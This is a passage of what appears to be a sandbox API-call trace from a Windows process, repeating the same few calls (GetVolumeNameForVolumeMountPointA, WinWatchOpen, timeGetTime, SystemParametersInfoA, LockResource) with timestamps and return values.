GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.728] WinWatchNotify () returned 0x0 [0171.728] timeGetTime () returned 0x113fb8e [0171.728] WinWatchOpen () returned 0x34bed8 [0171.728] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.728] LockResource (hResData=0x0) returned 0x0 [0171.728] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.728] WinWatchNotify () returned 0x0 [0171.728] timeGetTime () returned 0x113fb8e [0171.728] WinWatchOpen () returned 0x34bef8 [0171.728] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.728] LockResource (hResData=0x0) returned 0x0 [0171.728] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.728] WinWatchNotify () returned 0x0 [0171.728] timeGetTime () returned 0x113fb8e [0171.728] WinWatchOpen () returned 0x34bf18 [0171.728] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.728] LockResource (hResData=0x0) returned 0x0 [0171.728] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.728] WinWatchNotify () returned 0x0 [0171.728] timeGetTime () returned 0x113fb8e [0171.728] WinWatchOpen () returned 0x34bf38 [0171.728] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.729] LockResource (hResData=0x0) returned 0x0 [0171.729] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.729] WinWatchNotify () returned 0x0 [0171.729] timeGetTime () returned 0x113fb8f [0171.729] WinWatchOpen () returned 0x34bf58 [0171.729] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.729] LockResource (hResData=0x0) returned 0x0 [0171.729] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.729] WinWatchNotify () returned 0x0 [0171.729] timeGetTime () returned 0x113fb8f [0171.729] WinWatchOpen () returned 0x34bf78 [0171.729] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.729] LockResource (hResData=0x0) returned 0x0 [0171.729] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.729] WinWatchNotify () returned 0x0 [0171.729] timeGetTime () returned 0x113fb8f [0171.729] WinWatchOpen () returned 0x34bfb8 [0171.729] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.729] LockResource (hResData=0x0) returned 0x0 [0171.729] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.729] WinWatchNotify () returned 0x0 [0171.729] timeGetTime () returned 0x113fb8f [0171.729] WinWatchOpen () returned 0x34bfd8 [0171.729] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.729] LockResource (hResData=0x0) returned 0x0 [0171.729] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.729] WinWatchNotify () returned 0x0 [0171.729] timeGetTime () returned 0x113fb8f [0171.729] WinWatchOpen () returned 0x34bff8 [0171.729] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.729] LockResource (hResData=0x0) returned 0x0 [0171.729] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.729] WinWatchNotify () returned 0x0 [0171.729] timeGetTime () returned 0x113fb8f [0171.729] WinWatchOpen () returned 0x34c018 [0171.970] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.970] LockResource (hResData=0x0) returned 0x0 [0171.970] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.970] WinWatchNotify () returned 0x0 [0171.970] timeGetTime () returned 0x113fc7a [0171.970] WinWatchOpen () returned 0x34c038 [0171.970] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.970] LockResource (hResData=0x0) returned 0x0 [0171.970] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.970] WinWatchNotify () returned 0x0 [0171.970] timeGetTime () returned 0x113fc7a [0171.970] WinWatchOpen () returned 0x34c058 [0171.970] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.970] LockResource (hResData=0x0) returned 0x0 [0171.970] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.970] WinWatchNotify () returned 0x0 [0171.970] timeGetTime () returned 0x113fc7a [0171.970] WinWatchOpen () returned 0x34c078 [0171.970] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.970] LockResource (hResData=0x0) returned 0x0 [0171.970] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.970] WinWatchNotify () returned 0x0 [0171.970] timeGetTime () returned 0x113fc7a [0171.970] WinWatchOpen () returned 0x34c098 [0171.970] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.970] LockResource (hResData=0x0) returned 0x0 [0171.970] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.970] WinWatchNotify () returned 0x0 [0171.970] timeGetTime () returned 0x113fc7a [0171.970] WinWatchOpen () returned 0x34c0b8 [0171.970] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.970] LockResource (hResData=0x0) returned 0x0 [0171.970] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.970] WinWatchNotify () returned 0x0 [0171.970] timeGetTime () returned 0x113fc7b [0171.970] WinWatchOpen () returned 0x34c0d8 [0171.971] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.971] LockResource (hResData=0x0) returned 0x0 [0171.971] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.971] WinWatchNotify () returned 0x0 [0171.971] timeGetTime () returned 0x113fc7b [0171.971] WinWatchOpen () returned 0x34c0f8 [0171.971] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.971] LockResource (hResData=0x0) returned 0x0 [0171.971] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.971] WinWatchNotify () returned 0x0 [0171.971] timeGetTime () returned 0x113fc7b [0171.971] WinWatchOpen () returned 0x34c118 [0171.971] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.971] LockResource (hResData=0x0) returned 0x0 [0171.971] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.971] WinWatchNotify () returned 0x0 [0171.971] timeGetTime () returned 0x113fc7b [0171.971] WinWatchOpen () returned 0x34c138 [0171.971] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.971] LockResource (hResData=0x0) returned 0x0 [0171.971] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.971] WinWatchNotify () returned 0x0 [0171.971] timeGetTime () returned 0x113fc7b [0171.971] WinWatchOpen () returned 0x34c158 [0171.971] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.971] LockResource (hResData=0x0) returned 0x0 [0171.971] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.971] WinWatchNotify () returned 0x0 [0171.971] timeGetTime () returned 0x113fc7b [0171.971] WinWatchOpen () returned 0x34c178 [0171.971] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.971] LockResource (hResData=0x0) returned 0x0 [0171.971] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.971] WinWatchNotify () returned 0x0 [0171.971] timeGetTime () returned 0x113fc7c [0171.971] WinWatchOpen () returned 0x34c198 [0171.972] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.972] LockResource (hResData=0x0) returned 0x0 [0171.972] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.972] WinWatchNotify () returned 0x0 [0171.972] timeGetTime () returned 0x113fc7c [0171.972] WinWatchOpen () returned 0x34c1b8 [0171.972] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.972] LockResource (hResData=0x0) returned 0x0 [0171.972] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.972] WinWatchNotify () returned 0x0 [0171.972] timeGetTime () returned 0x113fc7c [0171.972] WinWatchOpen () returned 0x34c1d8 [0171.972] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.972] LockResource (hResData=0x0) returned 0x0 [0171.972] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.972] WinWatchNotify () returned 0x0 [0171.972] timeGetTime () returned 0x113fc7c [0171.972] WinWatchOpen () returned 0x34c1f8 [0171.972] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.972] LockResource (hResData=0x0) returned 0x0 [0171.972] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.972] WinWatchNotify () returned 0x0 [0171.972] timeGetTime () returned 0x113fc7c [0171.972] WinWatchOpen () returned 0x34c218 [0171.972] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.972] LockResource (hResData=0x0) returned 0x0 [0171.972] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.972] WinWatchNotify () returned 0x0 [0171.972] timeGetTime () returned 0x113fc7c [0171.972] WinWatchOpen () returned 0x34c238 [0171.972] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.972] LockResource (hResData=0x0) returned 0x0 [0171.972] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.972] WinWatchNotify () returned 0x0 [0171.972] timeGetTime () returned 0x113fc7d [0171.972] WinWatchOpen () returned 0x34c258 [0171.972] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.972] LockResource (hResData=0x0) returned 0x0 [0171.973] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.973] WinWatchNotify () returned 0x0 [0171.973] timeGetTime () returned 0x113fc7d [0171.973] WinWatchOpen () returned 0x34c278 [0171.973] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.973] LockResource (hResData=0x0) returned 0x0 [0171.973] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.973] WinWatchNotify () returned 0x0 [0171.973] timeGetTime () returned 0x113fc7d [0171.973] WinWatchOpen () returned 0x34c298 [0171.973] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.973] LockResource (hResData=0x0) returned 0x0 [0171.973] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.973] WinWatchNotify () returned 0x0 [0171.973] timeGetTime () returned 0x113fc7d [0171.973] WinWatchOpen () returned 0x34c2b8 [0171.973] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.973] LockResource (hResData=0x0) returned 0x0 [0171.973] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.973] WinWatchNotify () returned 0x0 [0171.973] timeGetTime () returned 0x113fc7d [0171.973] WinWatchOpen () returned 0x34c2d8 [0171.973] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.973] LockResource (hResData=0x0) returned 0x0 [0171.973] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.973] WinWatchNotify () returned 0x0 [0171.973] timeGetTime () returned 0x113fc7d [0171.973] WinWatchOpen () returned 0x34c2f8 [0171.973] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.973] LockResource (hResData=0x0) returned 0x0 [0171.973] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.973] WinWatchNotify () returned 0x0 [0171.973] timeGetTime () returned 0x113fc7d [0171.973] WinWatchOpen () returned 0x34c318 [0171.973] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.973] LockResource (hResData=0x0) returned 0x0 [0171.973] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.973] WinWatchNotify () returned 0x0 [0171.974] timeGetTime () returned 0x113fc7e [0171.974] WinWatchOpen () returned 0x34c338 [0171.974] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.974] LockResource (hResData=0x0) returned 0x0 [0171.974] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.974] WinWatchNotify () returned 0x0 [0171.974] timeGetTime () returned 0x113fc7e [0171.974] WinWatchOpen () returned 0x34c358 [0171.974] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.974] LockResource (hResData=0x0) returned 0x0 [0171.974] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.974] WinWatchNotify () returned 0x0 [0171.974] timeGetTime () returned 0x113fc7e [0171.974] WinWatchOpen () returned 0x34c378 [0171.974] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.974] LockResource (hResData=0x0) returned 0x0 [0171.974] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.974] WinWatchNotify () returned 0x0 [0171.974] timeGetTime () returned 0x113fc7e [0171.974] WinWatchOpen () returned 0x34c398 [0171.974] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.974] LockResource (hResData=0x0) returned 0x0 [0171.974] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.974] WinWatchNotify () returned 0x0 [0171.974] timeGetTime () returned 0x113fc7e [0171.974] WinWatchOpen () returned 0x34c3b8 [0171.974] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.974] LockResource (hResData=0x0) returned 0x0 [0171.974] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.974] WinWatchNotify () returned 0x0 [0171.974] timeGetTime () returned 0x113fc7e [0171.974] WinWatchOpen () returned 0x34c3d8 [0171.974] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.974] LockResource (hResData=0x0) returned 0x0 [0171.974] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.974] WinWatchNotify () returned 0x0 [0171.974] timeGetTime () returned 0x113fc7f [0171.975] WinWatchOpen () returned 0x34c3f8 [0171.975] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.975] LockResource (hResData=0x0) returned 0x0 [0171.975] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.975] WinWatchNotify () returned 0x0 [0171.975] timeGetTime () returned 0x113fc7f [0171.975] WinWatchOpen () returned 0x34c418 [0171.975] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.975] LockResource (hResData=0x0) returned 0x0 [0171.975] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.975] WinWatchNotify () returned 0x0 [0171.975] timeGetTime () returned 0x113fc7f [0171.975] WinWatchOpen () returned 0x34c438 [0171.975] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.975] LockResource (hResData=0x0) returned 0x0 [0171.975] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.975] WinWatchNotify () returned 0x0 [0171.975] timeGetTime () returned 0x113fc7f [0171.975] WinWatchOpen () returned 0x34c458 [0171.975] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.975] LockResource (hResData=0x0) returned 0x0 [0171.975] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.975] WinWatchNotify () returned 0x0 [0171.975] timeGetTime () returned 0x113fc7f [0171.975] WinWatchOpen () returned 0x34c478 [0171.975] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.975] LockResource (hResData=0x0) returned 0x0 [0171.975] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.975] WinWatchNotify () returned 0x0 [0171.975] timeGetTime () returned 0x113fc7f [0171.975] WinWatchOpen () returned 0x34c498 [0171.975] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.975] LockResource (hResData=0x0) returned 0x0 [0171.975] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.975] WinWatchNotify () returned 0x0 [0171.975] timeGetTime () returned 0x113fc80 [0171.975] WinWatchOpen () returned 0x34c4b8 [0171.976] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.976] LockResource (hResData=0x0) returned 0x0 [0171.976] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.976] WinWatchNotify () returned 0x0 [0171.976] timeGetTime () returned 0x113fc80 [0171.976] WinWatchOpen () returned 0x34c4d8 [0171.976] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.976] LockResource (hResData=0x0) returned 0x0 [0171.976] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.976] WinWatchNotify () returned 0x0 [0171.976] timeGetTime () returned 0x113fc80 [0171.976] WinWatchOpen () returned 0x34c4f8 [0171.976] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.976] LockResource (hResData=0x0) returned 0x0 [0171.976] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.976] WinWatchNotify () returned 0x0 [0171.976] timeGetTime () returned 0x113fc80 [0171.976] WinWatchOpen () returned 0x34c518 [0171.976] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.976] LockResource (hResData=0x0) returned 0x0 [0171.976] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.976] WinWatchNotify () returned 0x0 [0171.976] timeGetTime () returned 0x113fc80 [0171.976] WinWatchOpen () returned 0x34c538 [0171.976] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.976] LockResource (hResData=0x0) returned 0x0 [0171.976] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.976] WinWatchNotify () returned 0x0 [0171.976] timeGetTime () returned 0x113fc80 [0171.976] WinWatchOpen () returned 0x34c558 [0171.976] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.976] LockResource (hResData=0x0) returned 0x0 [0171.976] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.976] WinWatchNotify () returned 0x0 [0171.976] timeGetTime () returned 0x113fc80 [0171.976] WinWatchOpen () returned 0x34c578 [0171.976] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.976] LockResource (hResData=0x0) returned 0x0 [0171.976] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.977] WinWatchNotify () returned 0x0 [0171.977] timeGetTime () returned 0x113fc80 [0171.977] WinWatchOpen () returned 0x34c598 [0171.977] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.977] LockResource (hResData=0x0) returned 0x0 [0171.977] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.977] WinWatchNotify () returned 0x0 [0171.977] timeGetTime () returned 0x113fc80 [0171.977] WinWatchOpen () returned 0x34c5b8 [0171.977] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.977] LockResource (hResData=0x0) returned 0x0 [0171.977] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.977] WinWatchNotify () returned 0x0 [0171.977] timeGetTime () returned 0x113fc80 [0171.977] WinWatchOpen () returned 0x34c5d8 [0171.977] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.977] LockResource (hResData=0x0) returned 0x0 [0171.977] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.977] WinWatchNotify () returned 0x0 